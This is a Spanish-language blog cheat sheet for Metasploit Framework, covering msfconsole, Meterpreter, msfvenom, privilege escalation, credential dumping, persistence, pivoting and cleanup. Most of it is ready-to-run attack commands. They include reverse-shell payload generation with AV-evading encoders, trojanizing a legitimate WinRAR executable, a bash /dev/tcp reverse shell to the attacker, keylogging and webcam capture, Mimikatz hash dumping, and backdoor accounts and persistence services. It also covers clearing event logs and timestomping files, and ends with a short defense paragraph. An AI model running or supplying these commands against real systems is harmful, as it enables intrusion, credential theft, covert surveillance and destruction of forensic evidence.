← Blog

Metasploit Framework — msfconsole, Meterpreter y msfvenom

Guía de Metasploit Framework: msfconsole, búsqueda de módulos, base de datos, Meterpreter, msfvenom, post-explotación, pivoting y evasión.

1. Operational Scope & Technical Objective

Metasploit Framework organiza la cadena completa de explotación: recon (módulos auxiliary/scanner), explotación (módulos exploit con payloads), y post-explotación (Meterpreter, módulos post/*). Su arquitectura distingue exploit (lo que aprovecha la vulnerabilidad), payload (lo que se ejecuta tras la explotación), encoder (ofusca el payload), nop (relleno NOP 0x90 para alinear payloads) y evasion (evita AV). Dominar msfconsole, Meterpreter y msfvenom permite ir de un puerto abierto a una sesión estable, pivotar a una red interna y mantener acceso — todo con la base de datos como registro de la operación.

2. High-Impact Syntax & Command Cheatsheet

Instalación y arranque

sudo apt update && sudo apt install metasploit-framework -y
sudo systemctl enable postgresql && sudo systemctl restart postgresql
sudo msfdb init                          # crea e inicializa la base de datos

service postgresql start && msfconsole -q
msfconsole -q -r script.rc               # -q: modo silencioso; -r: ejecuta un recurso

msfconsole — comandos core

Comando Descripción
show exploits lista todos los exploits del framework
show payloads lista todos los payloads
show auxiliary lista los módulos auxiliary
search <nombre> busca módulos (ver filtros abajo)
info <módulo> información detallada de un módulo
use <nombre> carga un módulo (p. ej. use windows/smb/psexec)
use <número> carga por índice tras search
set <VAR> <val> / setg define una opción (global con setg)
show options / show advanced opciones del módulo / opciones avanzadas
show targets plataformas que soporta el exploit; set target <n>
set payload <payload> especifica el payload (por nombre o índice)
set autorunscript migrate -f migra automáticamente a otro proceso al explotar
check comprueba si el objetivo es vulnerable (sin explotar)
exploit / run / execute ejecuta el módulo
exploit -j ejecuta en background (job)
exploit -z no interactúa con la sesión al terminar
exploit -e <encoder> encoder del payload (p. ej. -e shikata_ga_nai)
sessions -l / -l -v lista sesiones (verbose: vulnerabilidad usada)
sessions -i <id> interactúa con la sesión
sessions -k <id> / -K termina una / todas las sesiones
sessions -u <id> sube una shell Win32 a Meterpreter
sessions -n <nombre> -i <id> renombra una sesión
sessions -C <cmd> -i <id> ejecuta un comando Meterpreter en la sesión
connect <IP> cliente tipo netcat (banner grabbing)
help / back / exit ayuda / retroceder / salir

Filtros de search:

search cve:2009 type:exploit app:client
search name:mysql
search platform:windows
search type:auxiliary
search cve:2017 type:exploit platform:windows

Campos: app (client/server), author, bid (Bugtraq), cve, edb (Exploit-DB), name, platform, ref, type.

Base de datos (workspaces y resultados)

db_status                 # confirma conexión a la BD
workspace                 # workspace actual
workspace -a <nombre>     # crea workspace; -d lo borra; workspace <name> cambia
db_import <fichero.xml>   # importa resultado de scan (nmap, nessus)
db_nmap <args>            # nmap dentro de msf (p. ej. db_nmap -A 172.16.194.134)
hosts / services          # hosts y servicios tras un scan
vulns / vulns -p 445      # vulnerabilidades; filtradas por puerto
creds                     # credenciales encontradas (brute force)
loot                      # hashes y datos recolectados
notes
db_export -f xml <out.xml>
db_destroy [user:pass@host:port/db]   # borra la BD

Estructura de módulos

ls /usr/share/metasploit-framework/modules
ls ~/.msf4/modules            # módulos propios/terceros (loadpath los carga)
  • auxiliary/: soporte (scanners, gather, dos, fuzzers, spoof...).
  • encoders/: ofuscan el payload contra AV basado en firmas (cmd, generic, php, x86, x64...).
  • evasion/: módulos que intentan evitar AV (Windows: applocker_evasion_*, process_herpaderping, syscall_inject, windows_defender_exe/js_hta...).
  • exploits/: organizados por SO objetivo (aix, android, linux, multi, windows, osx, unix...).
  • nops/: generadores de NOP (Intel x86 = 0x90); buffer para alinear payloads.
  • payloads/: singles (autocontenidos), stagers (canal de conexión, pequeño), stages (descargado por el stager) y adapters (envuelven singles en formatos como PowerShell). Convención: shell/reverse_tcp (sin _) = staged; shell_reverse_tcp (con _) = single.

Meterpreter — comandos

Núcleo y sistema:

Comando Descripción
help ayuda de Meterpreter
sysinfo SO, hostname, kernel del objetivo
getuid / getpid / getprivs usuario / PID / privilegios actuales
ps procesos con cuentas asociadas
kill <pid> / pkill <nombre> termina proceso
migrate <pid> migra la sesión a otro proceso (-L lista, -N <nombre>, -R aleatorio)
run post/windows/manage/migrate migración guiada
execute -f <cmd.exe> -i ejecuta cmd.exe interactivo
execute -f <cmd.exe> -i -t con todos los tokens disponibles
execute -f <cmd.exe> -i -H -t oculto (hidden process)
shell shell de comandos del sistema
background envía la sesión al fondo (o Ctrl+Z)
sessions cambia rápidamente de sesión
reboot / shutdown reinicia / apaga el objetivo
guid / info / irb GUID / info de módulo / shell Ruby interactiva

Sistema de ficheros:

Comando Descripción
pwd / cd / ls directorio actual / cambiar / listar
cat <file> / edit mostrar / editar contenido
search -f *.txt busca ficheros (p. ej. search -f passwords*.txt)
upload <local> <remoto> sube fichero al objetivo
download <remoto> descarga (paths Windows con \\: download C:\\passwords.txt)
mkdir / rmdir / rm crear / borrar dir / borrar fichero
checksum md5 /bin/bash hash de un fichero
getenv PATH / getenv variables de entorno

Red:

Comando Descripción
ifconfig / ipconfig interfaces de red
arp caché ARP
netstat conexiones de red
portfwd add -l <puerto> -p <puerto_víctima> -r <IP_víctima> reenvío de puerto local
route tabla de rutas

Privilegios y tokens:

Comando Descripción
use priv carga la extensión de privilegios (antes de getsystem)
getsystem eleva a SYSTEM vía múltiples vectores
use incognito carga funciones de token stealing
list_tokens -u / -g lista tokens por usuario / grupo
impersonate_token <DOMAIN\USER> impersona un token
steal_token <pid> roba tokens de un proceso
drop_token / rev2self deja de impersonar / vuelve al usuario original

Registro, teclado, pantalla, red y misc:

Comando Descripción
reg <command> interactuar con el registro
keyscan_start / keyscan_dump / keyscan_stop keylogger
screenshot / setdesktop <n> captura / cambia de escritorio
uictl enable <keyboard/mouse> controla teclado/ratón
webcam_list / webcam_snap -i 1 -v false / webcam_stream cámara
idletime segundos de inactividad del usuario
screenshare escritorio remoto en tiempo real
hashdump dumps de SAM vía registro
clearev borra los event logs
timestomp cambia fechas de creación/modificación (antiforensia)
load <ext> carga extensión (kiwi, incognito...)
python_import -f <local.py> ejecuta un Python en el objetivo
add_user <user> <pass> -h <ip> crea usuario remoto
add_group_user <"Domain Admins"> <user> -h <ip> añade a grupo

msfvenom — payloads

msfvenom --list payloads
msfvenom --list formats
msfvenom --list encoders

# Windows 32/64
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe -o payload_x64.exe

# Linux 32/64
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf -o payload_x86
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4443 -f elf -o rev

# Encoding (ofuscar contra AV de firmas)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -e x86/shikata_ga_nai -f exe -o enc.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -i 10 -e x86/shikata_ga_nai -f exe -o enc10.exe

# Inyección en un ejecutable legítimo (trojan)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -e x86/shikata_ga_nai -i 10 -f exe -x winrar-x32-621.exe -o winrar.exe

# Otros formatos
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > shell.jsp        # Tomcat
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > shell.php       # PHP
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > rev_shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > rev_shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe          # single

Listener (multi/handler) para los payloads generados:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT 4443
run

Nota: en el payload PHP (-f raw) hay que quitar las comillas que msfvenom añade alrededor del código antes de subirlo al servidor web.

Resource scripts (automatización)

# handler.rc
echo 'use exploit/multi/handler' >> handler.rc
echo 'set PAYLOAD windows/meterpreter/reverse_tcp' >> handler.rc
echo 'set LHOST 192.168.0.114' >> handler.rc
echo 'set ExitOnSession false' >> handler.rc
echo 'exploit -j -z' >> handler.rc
msfconsole -r handler.rc
# dentro de msf: resource handler.rc ; makerc <file>.rc exporta los comandos dados

3. Real-World Offensive/Defensive Scenarios

Shell a Meterpreter y tratamiento TTY

# Automático
sessions -u 1
# Manual
background
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST <LOCAL_IP>
run

# TTY estable desde una shell de Linux
shell
python -c 'import pty; pty.spawn("/bin/bash")'
# o lanzar una segunda shell al atacante
nc -lvnp 4443
bash -i >& /dev/tcp/<IP>/4443 0>&1

Escalada de privilegios (Windows)

# getsystem falla con "Operation failed: Access is denied" -> usar suggeter o exploits locales
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4445
exploit
getuid    # -> NT AUTHORITY\SYSTEM

# Bypass UAC (con sesión en background)
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LPORT <LOCAL_PORT>
set TARGET 'Windows x64'
run
getsystem
hashdump

# Token impersonation (privilegio SeImpersonatePrivilege)
getuid; getprivs
load incognito
list_tokens -u
impersonate_token "ATTACKDEFENSE\Administrator"
getuid
ps; migrate <PID>
hashdump

# chkrootkit (Linux)
use exploit/unix/local/chkrootkit
set CHKROOTKIT /bin/chkrootkit
set SESSION 1
set LHOST <LOCAL_IP>

Dump de hashes (Kiwi / Mimikatz / Pass-the-Hash)

# Kiwi (extensión Meterpreter)
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets

# Mimikatz clásico
cd C:\\; mkdir Temp; cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords

# Pass-the-Hash con psexec
search psexec
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
set SMBPass <ADMINISTRATOR_LM:NTLM_HASH>

Persistencia

# Windows: servicio persistente
background
use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set SESSION 1
# reconexión
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_IP>
set LPORT <LOCAL_PORT>

# RDP
use post/windows/manage/enable_rdp
set SESSION 1

# Linux: persistencia SSH (requiere root)
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
set SESSION 1
# recuperar la clave en loot y usarla
cat /root/.msf4/loot/<DATE>_Linux_Persistenc_<IP>_id_rsa_.txt
chmod 0400 ssh_key
ssh -i ssh_key root@<TARGET_IP>

# Linux: persistencia manual con cuenta
useradd -m ftp -s /bin/bash; passwd ftp; usermod -aG root ftp; usermod -u 15 ftp

Pivoting y port forwarding

# Autoroute: añadir la subred interna a las rutas de MSF
meterpreter > run autoroute -s 10.10.10.0/24
# con la ruta puesta, todos los módulos (scanner/exploit) alcanzan la red interna

# Escanear TARGET2 a través de TARGET1
background
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
set PORTS 1-100
run

# Port forwarding: exponer un puerto de TARGET2 en localhost
sessions 1
portfwd add -l <LOCAL_PORT> -p <TARGET2_PORT> -r <TARGET2_IP>
background
db_nmap -sS -sV -p <LOCAL_PORT> localhost

# Explotar TARGET2 a través del túnel (p. ej. badblue)
use exploit/windows/http/badblue_passthru
set payload windows/meterpreter/bind_tcp
set RHOSTS <TARGET2_IP>
set LPORT <LOCAL_PORT2>
run

Enumeración de servicios (auxiliary/scanner)

# FTP
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ftp/anonymous
# SMB
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login
# HTTP
use auxiliary/scanner/http/apache_userdir_enum
use auxiliary/scanner/http/brute_dirs
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/http_put
use auxiliary/scanner/http/files_dir
use auxiliary/scanner/http/http_login
use auxiliary/scanner/http/http_header
use auxiliary/scanner/http/http_version
use auxiliary/scanner/http/robots_txt
# MySQL
use auxiliary/admin/mysql/mysql_enum
use auxiliary/admin/mysql/mysql_sql
use auxiliary/scanner/mysql/mysql_file_enum
use auxiliary/scanner/mysql/mysql_hashdump
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_writable_dirs
# SSH / SMTP
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_enumusers
use auxiliary/scanner/smtp/smtp_enum
use auxiliary/scanner/smtp/smtp_version
# UDP sweep / portscan
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/portscan/tcp

Escaneo de vulnerabilidades y correlación

# nmap en msf + búsqueda dirigida
db_nmap -sS -sV -O <TARGET_IP>
search type:exploit name:iis
search eternalblue
use auxiliary/scanner/smb/smb_ms17_010

# correlación con searchsploit
searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"

# Autopwn (plugin db_autopwn)
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
sudo mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
# en msf: load db_autopwn
db_autopwn -p -t                     # enumera exploits por puerto abierto
db_autopwn -p -t -PI 445             # limita al puerto 445

# Importar resultados de Nessus
db_import /home/kali/Downloads/MS3_zph3t5.nessus
hosts; services; vulns; vulns -p 445
search cve:2019 name:rdp
search MS12-020
search PHP CGI Argument Injection

# WMAP (escaneo web dentro de msf)
load wmap
wmap_sites -a <TARGET_IP>
wmap_targets -t <URL>
wmap_run -t; wmap_run -e
wmap_vulns -l

Explotación de servicios concretos

# HFS (Rejetto)
search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
# EternalBlue SMB
search type:auxiliary EternalBlue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_eternalblue
# WinRM (auth + brute + exec)
use auxiliary/scanner/winrm/winrm_auth_methods
use auxiliary/scanner/winrm/winrm_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME <USER>; set PASSWORD <PW>; set CMD whoami
use exploit/windows/winrm/winrm_script_exec
set FORCE_VBS true
# Tomcat
use exploit/multi/http/tomcat_jsp_upload_bypass
check
set payload java/jsp_shell_bind_tcp
set SHELL cmd
# vsftpd (backdoor)
use exploit/unix/ftp/vsftpd_234_backdoor
/bin/bash -i
# Samba
use exploit/linux/samba/is_known_pipename
# libssh auth bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true
run
sessions 1
# Haraka (SMTP)
use exploit/linux/smtp/haraka
set SRVPORT 9898
set email_to root@attackdefense.test
set payload linux/x64/meterpreter_reverse_http
set LHOST <LOCAL_IP>; set LPORT 8080
run

Post-explotación Linux (enumeración de la víctima)

# desde la shell
whoami; cat /etc/passwd; groups root
cat /etc/*issue; cat /etc/*release
uname -a; uname -r
netstat -antp; ss -tnl
ps aux; env; lsblk -l

# módulos post de recolección
use post/linux/gather/enum_configs
use post/multi/gather/env
use post/linux/gather/enum_network
use post/linux/gather/enum_protections
use post/linux/gather/enum_system
use post/linux/gather/checkcontainer
use post/linux/gather/checkvm
use post/linux/gather/enum_users_history
use post/linux/gather/hashdump
use post/multi/gather/ssh_creds
use post/linux/gather/ecryptfs_creds
use post/linux/gather/enum_psk
use post/linux/gather/pptpd_chap_secrets
set SESSION 1
loot

Windows: enumeración avanzada

# cmd nativo
systeminfo
fsutil fsinfo drives
dir /b/s \*.conf\*
dir /b/s \*.txt\*

# módulos post de Windows
use post/windows/gather/win_privs            # UAC/privilegios
use post/windows/gather/enum_logged_on_users
use post/windows/gather/checkvm
use post/windows/gather/enum_applications
use post/windows/gather/enum_av_excluded
use post/windows/gather/enum_computers
use post/windows/gather/enum_patches
use post/windows/gather/enum_shares
use post/windows/gather/credentials/credential_collector
use post/windows/gather/dumplinks
use post/windows/gather/enum_snmp
use post/windows/gather/usb_history
use post/windows/manage/enable_rdp
use post/windows/manage/migrate
set SESSION 1

# herramientas clásicas de meterpreter
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
run post/windows/gather/hashdump
run persistence -U -i 10 -p 443 -r 192.168.1.5    # reconexión cada 10s al login
run getgui -e / run gettelnet -e / run killav / run scraper / run winenum
run remotewinenum -u administrator -p password123 -t 10.0.0.100

Limpieza de rastro

meterpreter > clearev            # borra los event logs
meterpreter > timestomp <fichero>  # falsifica fechas de ficheros

Defensa

Meterpreter y msfvenom son herramientas conocidas: los AV modernos detectan las firmas de windows/meterpreter/reverse_tcp y de los encoders clásicos (shikata_ga_nai). La defensa se apoya en EDR con monitorización de comportamiento (inyección de procesos, migración, getsystem, uso de tokens), Application Control para bloquear binarios no firmados, y la caza de los artefactos de post-explotación: servicios de persistencia inesperados, claves SSH nuevas en authorized_keys, y las cuentas creadas con add_user. En red, los payloads staged generan una primera conexión pequeña y predecible: los IPS con inspección TLS/deep packet hunting del patrón multi/handler reducen la ventana del atacante.

Referencias

Diagrama original (excalidraw)

Diagrama Metasploit (excalidraw)

Estructura de módulos de Metasploit Rev shell PHP con msfvenom